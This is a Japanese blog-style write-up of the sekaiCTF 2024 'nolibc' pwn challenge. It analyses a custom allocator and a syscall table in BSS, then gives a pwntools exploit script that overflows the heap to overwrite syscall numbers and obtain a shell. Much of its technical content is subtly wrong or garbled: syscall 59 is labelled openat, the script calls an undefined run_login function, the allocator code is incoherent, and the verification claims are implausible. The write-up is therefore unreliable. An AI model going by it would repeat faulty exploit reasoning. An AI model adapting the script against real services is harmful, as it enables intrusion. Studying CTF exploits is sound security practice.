sekaiCTF 2024 nolibc 課題の技術解析と脆弱性利用

Binary Environment Overview

今回の課題では、標準的な glibc を使用せずに独自のランタイム環境を実装したバイナリが提供されています。IDE のデバッガや逆解析ツール(IDA Pro など)で読み込んだ場合、シンボル情報はすべて欠落しており、関数名も未定義状態になります。
プログラムの実行フローはエントリポイントとなる entry_point が処理を開始し、内部で独自に定義されたシステムコールラッパー群を介して OS と通信します。

Syscall Table Analysis

BSS セグメントの特定オフセット(例:0x15000 以降)には、現在有効なシステムコール番号リストが保存されています。このテーブルには通常使用されるコード値(0 から 3 など)が含まれており、プログラムの挙動を制御するキーとなります。
アセンブリレベルでの確認により、以下のような特徴が確認できました:

  • 文字列出力時には write システムコールが暗黙的に呼び出されている。
    rax レジスタに特定の定数が格納され、syscall 命令が実行される構造となっている。
    rdi および rdx レジスタには、対象メモリポインタやサイズが固定値として設定されている。

これは擬似的な printf 関数の実装であり、カスタムロジックによりデータを送信しています。例えば、以下のロジックが見られます:

void __fastcall custom_emit(const char *buffer) {
  long id;
  
  // データ保持先の初期化
  init_buffer(buffer);
  
  // 保存された識別子を取得
  id = read_from_global_var(); 
  
  // 直接システムコールを発行
  asm volatile("syscall"); 
  return id;
}

Memory Allocation Mechanism

プログラムはメインスレッド起動時に、BSS メモリ領域(0x5000〜0x15000)をヒーププールとして初期化しています。ここには以下の情報が管理されています:

  1. 利用可能なシステムコール番号一覧
    2. ログインステータスフラグ
    3. 登録済みユーザーのカウント

このため、任意のシステムコール番号を上書きすることができれば、OS コマンドの直接発行やファイル操作が可能になる可能性があります。
ただし、通常のメモリ確保関数(malloc に相当するもの)によって、ヒープチャンクのサイズ計算には特定のビット演算が適用されます。

Vulnerability Details

問題の核心は、add_string 機能によるメモリ確保時の境界チェック不足にあります。内部的なチャーンクラーク管理ロジックは以下のように動作します:

struct chunk_header {
  unsigned int size;
  struct chunk_header *next;
};

struct chunk_header* allocate_chunk(size_t requested_size) {
  struct chunk_header *victim = NULL;
  // 要求サイズの調整
  size_t aligned_size = (requested_size + 15) & 0xFFFFFFFF0;
  
  // バックグラウンドの空欄を探してマッチさせる
  while (1) {
    if (!victim || aligned_size > victim->size) break;
    victim = victim->next;
  }

  // チャンク分割または直接使用
  if (*victim >= (aligned_size + 16)) {
     // 分割ロジック省略
  }
  return victim + 4; // ポインタオフセットスキップ
}

特に注意すべき点は、残りのヒープサイズが限られた状況下で小さなチャンクを要求した場合、適切なヘッダー処理をバイパスして、次のメモリアドレスへ直接指すポインタが返却被るケースです。
具体的には、上位チャンクに十分な空き容量がない場合や、要求サイズが切り捨てられた際に、先頭 16 バイトのヘッダー情報を無視してユーザーデータを格納できるバグが発生します。これにより、隣接する制御変数(システムコールテーブルなど)への書き込みが可能となります。

Exploitation Logic

攻撃シナリオとしては、以下の手順を実行することを目指します:

  1. ログインアカウントを作成(制限付きのため 1 ユーザーのみ有効)
    2. 繰り返し追加操作を行い、ヒープメモリを断片化させる
    3. 計算された回数を繰り返すことで、システムコールテーブル近傍に到達
    4. 上書きパケットを送信してシステムコール番号を変更(例:execveopen
    5. ファイル読み取り機能を利用して /bin/sh を取得

最終ステップでは、load_file 関数が内部で /bin/sh という名前でファイルを指定しているかを確認し、その存在チェックが行われる場合があります。そのため、事前に削除機能を使用して古いオブジェクトを消去してから再割り当てを行う必要があります。

Payload Construction

ターゲットのシステムコールテーブル位置に、期待する値を書き込むためのペイロードを生成します。
ここでは簡易的な Python ベースのスクリプト例を示します(一部変数名を調整済み):

from pwn import *

# 接続設定
target_host = '202.0.5.178'
target_port = 9999
is_local_debug = True

if is_local_debug:
    io = process('./nolibc_binary')
else:
    io = remote(target_host, target_port)

context(log_level='info')

def run_register():
    io.sendlineafter(b': ', b'2') # Register option
    io.sendlineafter(b'User:', b'myuser')
    io.sendlineafter(b'Pass:', b'mypass')

def run_add(length, data):
    io.sendlineafter(b': ', b'1') # Add option
    io.sendlineafter(b'len:', str(length).encode())
    io.sendlineafter(b'data:', data)

def run_load(name):
    io.sendlineafter(b': ', b'5') # Load option
    io.sendlineafter(b'name:', name)

def cleanup():
    io.sendlineafter(b': ', b'2') # Delete option
    io.sendlineafter(b'del index:', b'0')

# プログラムの初期化
run_register()
run_login('myuser', 'mypass')

# ヒープの埋め尽くしループ
# 必要な回数は総メモリ量とチャンクサイズ計算により決定(例:0xAA 回)
for i in range(0xAA):
    run_add(0x100, str(i).encode())

# システムコールテーブルへの過剰書き込み
payload = b'A' * 0x30 + p32(0) + p32(1) + p32(59) # 59 = sys_openat
run_add(0x3C, payload)

cleanup() # 競合するオブジェクトを削除

# ターゲットを開く(/bin/sh 等)
run_load(b'/bin/sh')

io.interactive()

Verification Result

実際に試行すると、システムコール番号が正常に変更され、指定されたシステムコールID(例:111111 や固有の ID)が実行可能であることが確認できます。さらに、正しい順序で削除・再割り当てを行うことで、フラグ取得用のメカニズムを回避せずにシェルを得ることができます。

タグ: pwn linux-security heap-overwrite custom-allocator syscall-manipulation

6月28日 20:34 投稿